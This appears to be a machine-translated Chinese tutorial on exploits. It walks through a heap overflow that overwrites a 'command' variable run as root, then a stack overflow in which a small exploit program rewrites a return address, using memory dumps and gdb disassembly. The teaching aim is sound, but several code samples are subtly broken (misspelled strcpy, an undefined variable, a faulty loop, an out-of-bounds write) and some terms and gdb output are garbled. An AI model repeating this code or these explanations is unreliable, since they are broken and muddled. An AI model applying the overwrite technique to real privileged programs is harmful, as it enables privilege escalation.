---------
Exploit?
---------
几乎所有人都知道什么叫Exploit。但是你仍然会明白每当一个人第一次到安全地方时,大概他不会
有任何的顾虑,这就是我写这篇文章的原因之一。
对于一些不明确的程序开发,我们通常会用C语言,在这开发得到的一些程序可能其它地方也有。这
些程序能让你随心所欲地运行,并为你做一些以前你在正常系统里不能做的事情。
现在最多的开发,就是我们所说的缓冲器溢出的开发。你说什么?不要急!毕竟,这还是文章的题目。
另外的方面就是你应该知道每一个人都要会怎么用它(你会怎样想象网站受到最大程度的毁坏?)有人曾
到一些程序开发的网站,如Security focus,Packetstorm或Fyodor,下载并运行程序,结果得到的是
非法操作。但是,为什么不是每个人都写开发程序?问题在于一些人不懂得怎么样去发现原代码的某些弱
点,甚至他们根本没有能力去写。所以现在你肯定有这样的一个想法,到底什么才叫一个开拓,让我们来
到缓冲器溢出的开头部分。
--------------------
缓冲器溢出到底是什么?
--------------------
最多的Exploit,都是有关于缓冲器溢出的开发。
你大概会在想:"哎…这家伙又在胡说一通,还是没有说到底什么是缓冲器溢出。"
那么我就开始说有关它的事情了。
缓冲器溢出的问题,是基于程序在内存中的数据存放的地址。你会问道:这又是为什
么呢?因为缓冲器溢出而重写的内存地址,那些地方就会有我们想要的东西,你就可以
做一些程序去得到你想要的东西了。
那你就会想:"哈,我已经知道缓冲器溢出是怎样工作的了。"但你仍然不懂得怎样
去发现它们。让我们根据一个程序试着去发现和调整缓冲器溢出。
----------以下是部分代码------------
main(int argc, char **argv) {
char *somevar;
char *important;
somevar = (char *)malloc(sizeof(char)*4);
important = (char *)malloc(sizeof(char)*14);
strcpy(important, "command"); /*这是一个重要的变量*/
stcrpy(somevar, argv[1]);
…….一些代码……
}
…另外一些函数…
------------代码结束------------
让我们讲讲一些系统指令喜欢用的重要变量,比如“chmod o-r file”,由于文件是属于
根用户的,程序也是由根用户运行的,这就是说你能够运行一些命令,也可以执行任何的系统命令。
那你就会想,我怎样才能够在重要的变量里得到一些我想要的东西。办法就是从内存的溢出中找
到它。但是要看内存变量的地址,那你就要重写代码了。看看下面的代码。
----------部分代码----------------
main (int argc, char **argv) {
char *somevar;
char *important;
somevar=(char *)malloc(sizeof(char)*4);
important=(char *)malloc(sizeof(char)*14);
printf("%p\n%p", somevar, important);
exit(0);
rest of code here
}
---------------部分代码结束--------------------
让我们在原代码中加两行,但又要让它没有任何的变动。让我们看一下那两行到底是干什么的。
printf("%p\n%p", somevar, important);
这一行是给somevar和important变量显示内存地址。
exit(0);
这一行只是当你不要任何东西时让程序暂时停顿,而你的目的是想知道变量到底贮存
在哪个地方。在程序运行完后,结果如下。一般情况下内存地址是不一样的:
0x8049700 <----- 这就是somevar的地址
0x8049710 <----- 这就是important的地址
正如我们所看到的,important变量是在somevar变量的后面,这就可以让我们使用缓冲器
溢出的技巧,从argv[1]得到somevar变量。现在,我们就可以知道下一步要干什么了,但是我
们还是要检查每一个内存地址,以至能够得到准确的贮存数据。要做到这一些,我们还要再一次
重写代码。
-------------部分代码----------------------
main(int argc, char **argv) {
char *somevar;
char *important;
char *temp; /* 这需要另一个变量*/
somevar=(char *)malloc(sizeof(char)*4);
important=(char *)malloc(sizeof(char)*14);
strcpy(important, "command"); /*这个是important变量*/
stcrpy(str, argv[1]);
printf("%p\n%p\n", somevar, important);
printf("Starting To Print memory address:\n");
temp = somevar; /* 这将会把temp放在内存的首个地址*/
while(temp < important + 14) {
/*当到达最后的important变量的内存地址时,这个循环就会给退出*/
printf("%p: %c (0x%x)\n", temp, *temp, *(unsigned int*)temp);
temp++;
}
exit(0);
程序就在这里停顿了
}
------ 部分代码结束-----
现在说一下argv[1]给正常地使用。所以你只要在你的提示下输入:
$ program_name send
你将会得到以下另一个的输出:
0x8049700
0x8049710
开始显示内存地址:
0x8049700: s (0x616c62)
0x8049701: e (0x616c)
0x8049702: n (0x61) <---- 每一行代表一个内存地址
0x8049703: d (0x0)
0x8049704: (0x0)
0x8049705: (0x0)
0x8049706: (0x0)
0x8049707: (0x0)
0x8049708: (0x0)
0x8049709: (0x19000000)
0x804970a: (0x190000)
0x804970b: (0x1900)
0x804970c: (0x19)
0x804970d: (0x63000000)
0x804970e: (0x6f630000)
0x804970f: (0x6d6f6300)
0x8049710: c (0x6d6d6f63)
0x8049711: o (0x616d6d6f)
0x8049712: m (0x6e616d6d)
0x8049713: m (0x646e616d)
0x8049714: a (0x646e61)
0x8049715: n (0x646e)
0x8049716: d (0x64)
0x8049717: (0x0)
0x8049718: (0x0)
0x8049719: (0x0)
0x804971a: (0x0)
0x804971b: (0x0)
0x804971c: (0x0)
0x804971d: (0x0)
$
是不是很令人愉快?现在你会知道在somevar和important之间存在12个空白的内存地址。所以让我们运行有
这样一行命令的程序:
$ program_name send------------新的命令
你将会得到另一个如下输出:
0x8049700
0x8049710
开始显示内存地址:
0x8049700: s (0x646e6573)
0x8049701: e (0x2d646e65)
0x8049702: n (0x2d2d646e)
0x8049703: d (0x2d2d2d64)
0x8049704: - (0x2d2d2d2d)
0x8049705: - (0x2d2d2d2d)
0x8049706: - (0x2d2d2d2d)
0x8049707: - (0x2d2d2d2d)
0x8049708: - (0x2d2d2d2d)
0x8049709: - (0x2d2d2d2d)
0x804970a: - (0x2d2d2d2d)
0x804970b: - (0x2d2d2d2d)
0x804970c: - (0x2d2d2d2d)
0x804970d: - (0x6e2d2d2d)
0x804970e: - (0x656e2d2d)
0x804970f: - (0x77656e2d)
0x8049710: n (0x6377656e) <--- 这就是important变量开始的内存地址
0x8049711: e (0x6f637765)
0x8049712: w (0x6d6f6377)
0x8049713: c (0x6d6d6f63)
0x8049714: o (0x616d6d6f)
0x8049715: m (0x6e616d6d)
0x8049716: m (0x646e616d)
0x8049717: a (0x646e61)
0x8049718: n (0x646e)
0x8049719: d (0x64)
0x804971a: (0x0)
0x804971b: (0x0)
0x804971c: (0x0)
0x804971d: (0x0)
酷吧!新的命令把困难给克服了。这样就可以得到你想要的东西,然而代替一些猜测。
注意:记住,在somevar和important之间有时也会出现其它的变量,所以要检查它们的重要性和送它们
到相同的地址,或者程序能够在到达你已改变的变量之前把它破坏。
现在让我们想一下,这到底发生了什么事?正如我们可以从原代码看到的,somevar在important之
前给显示出来,这样就会造成,大多数的机会somevar会被放在内存的首位。现在,让我们核对每一
个是怎样得到。由argv[1]得到somevar,从strcpy()函数得到important,但真正的问题是在你给
somevar赋值是在important能被重写之前的,这时的important已经在前一时间给赋值了。相对于
缓冲器溢出可以适当地交换以下两行作为这个程序的补充:
strcpy(somevar, argv[1]);
strcpy(important, "command");
如果这是一个由程序进入important内存地址并把它作为证据的办法,它将会在得到somevar之后被
指定important值的这样一个命令给覆盖。
这是一种堆缓冲器溢出。在理论上,你大概会认为是很容易做到的,但在现实中,这确实不容易做
到。以上我给的例子都是死程序,是不是?这确实是又痛苦又笨地去找一些重要的变量,然而你必
须有能力在更原始的内存地址中的变量溢出写出来,往往这种条件都比较难实现,这就是为什么我
们现在要讲栈缓冲器溢出的原因。
以下稍微要注意的:
------------------------
在上一段我说到了堆和栈。你大概对两者比较疑惑。所以以下是两者比较简单易懂的定义:
堆---是你保留一个变量用的空间(当你使用malloc()函数时,你就会遇见)。
栈---从一个函数得到或返回数值的地方。
当你试着栈溢出时,你会试图改变返回地址,使得程序在内存中跳过一些地方,而这些地方你已
经放了一些你将要运行的命令。
让我们进入栈中,这是给我大量并且源源不断的麻烦的一个部分。这里我们将要了解ASM(辅助
存储管理程序)和怎么样处理gdb(相信我,它将会渐渐成为你最好的朋友)。坚持,不要放弃!
我们将谈到粉碎由大量可以改变返回地址(RET)的攻击组成的栈。做这个时,你可以回到函数的
某一个地址,这个地址你已事先放了一些你将要运行的命令。
如堆的溢出,让我们来看一些原代码。
------代码从这里开始------
/*栈溢出的例子*/
exploit(char *this) {
char string[20];
strcpy(string,this);
printf("%s\n", string);
}
main(int argc, char *argv[]) {
exploit(argv[1]);
}
------ 代码到此为止 -------
现在我们试着调用两次exploit()函数。我们将要怎么做?我们先要找一些酷地址。这一次
让我们使用gdb。我们首先进行编译。
$ gcc stack.c -o stack
$ gdb stack
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB是免费软件,由the GNU General Public 封装并认可,你可以在一定的条件下改变或照
抄它。打入“show copying”显示条件。对于GDB来说没有任何的担保。打入“show warranty”显
示细节。这个GDB是由"i586-suse-linux-gnu"...组成。
(gdb)
这是现在我门将要分解主要部分所给你的提示。要做到这一点,我们只要打入"disassemble"(
你也可以打入"disas"),是不是很困难?
(gdb) 分解主要部分的主要函数的汇编程序段的代码:
0x8048440 : push %ebp
0x8048441 : mov %esp,%ebp
0x8048443 : mov 0xc(%ebp),%eax
0x8048446 : add $0x4,%eax
0x8048449 : mov (%eax),%edx
0x804844b : push %edx
0x804844c : call 0x8048410
0x8048451 : add $0x4,%esp
0x8048454 : mov %ebp,%esp
0x8048456 : pop %ebp
0x8048457 : ret
(这里的一些NOPS。它们代表No Operation...meaning nothing运行。)
汇编程序段结束。
一些总结
-----------------
正如我们所看到的,exploit在0x804845c给调用,而它自己的地址就在0x8048410。
回到gdb
-----------------
(gdb)分解exploit
汇编程序段的结尾。
(gdb)
0x8048410 : push %ebp
0x8048411 : mov %esp,%ebp
0x8048413 : sub $0x14,%esp
0x8048416 : mov 0x8(%ebp),%eax
0x8048419 : push %eax
0x804841a : lea 0xffffffec(%ebp),%eax
0x804841d : push %eax
0x804841e : call 0x8048340
0x8048423 : add $0x8,%esp
0x8048426 : lea 0xffffffec(%ebp),%eax
0x8048429 : push %eax
0x804842a : push $0x80484bc
0x804842f : call 0x8048330
0x8048434 : add $0x8,%esp
0x8048437 : mov %ebp,%esp
0x8048439 : pop %ebp
0x804843a : ret
(gdb) x/3bc 0x80484bc
0x80484bc <_IO_stdin_used+4>: 37 '%' 115 's' 10 '\n'
(gdb)
(gdb) quit
$
回到提示
另外一个步骤的总结
------------------------
首先你大概会对x/3bc命令产生疑问。其实这个命令是让我们监视内存的。
x/3bc
^^^
|||--- 字符
|| --- 二进制
|----- 定义3作为范围
(要得到更多的信息,在gdb的提示下输入"help x/")
我做这一步的目的是因为我不清楚放了什么进0x80484cc的栈,然而你会看到我们想要显示出来的字符串。
我们的目的
----------------------
我们的目的是试着将exploit再一次返回exploit,代替返回主程序。所以我们该怎么做,又怎么知
道我们是否有能力做到?首先,我们大概可以做一些事情去开发代码,而这些代码是用来分离当我们
在使用大量字符串时遇到的错误,很大的可能性不能做到。给自己加油!(建议尝试20次)
要做到这一点,我们要修改RET(返回地址),当你在gdb看到这样一行时你就会想到:
0x804844c : call 0x8048410
现在的问题是在这重要的一行中得到的两个地址,到底要用哪一个?其实很简单,你要用的是0x804844c,
因为它是我们刚才所提到的其中一个调用,如果你用0x8048410的话,当我们指向以下行时根本不能得
到任何东西:
0x8048410 : push %ebp
----------代码从这开始---------------
/*为栈开发的exploit*/
#include
main() {
char buf[28];
int i;
for(i=0; i<24; i+=4) *(long *)&buf = 0x61616161;
*(long *)&buf[24] = 0x0804844c;
*(long *)&buf[28] = 0x0;
execv("./stack2", buf);
}
------- 代码结束 --------
通过以上所做的,我们将给返回函数的0x0804844c重写返回地址去再一次调用exploit。这样的话,我们就
进入一个死循环。那为什么还要用这个程序?因为这里不会检查我们所送去的字符串的长度。这里给你一个
建议,如果你要安全地得到一些东西的话,你就要总是使用检查长度的函数,
如fgets(), strncpy() instead of gets(), strcpy()等等。
gdb的使用技巧
--------------------
想要看一下一个exploit给vunerable程序带来的影响,进入gdb并打入:
(gdb) exec exploit
(gdb) symbol-file vunerable_program
然而你就能看到exploit到底做了什么,并且可以自己为其修改。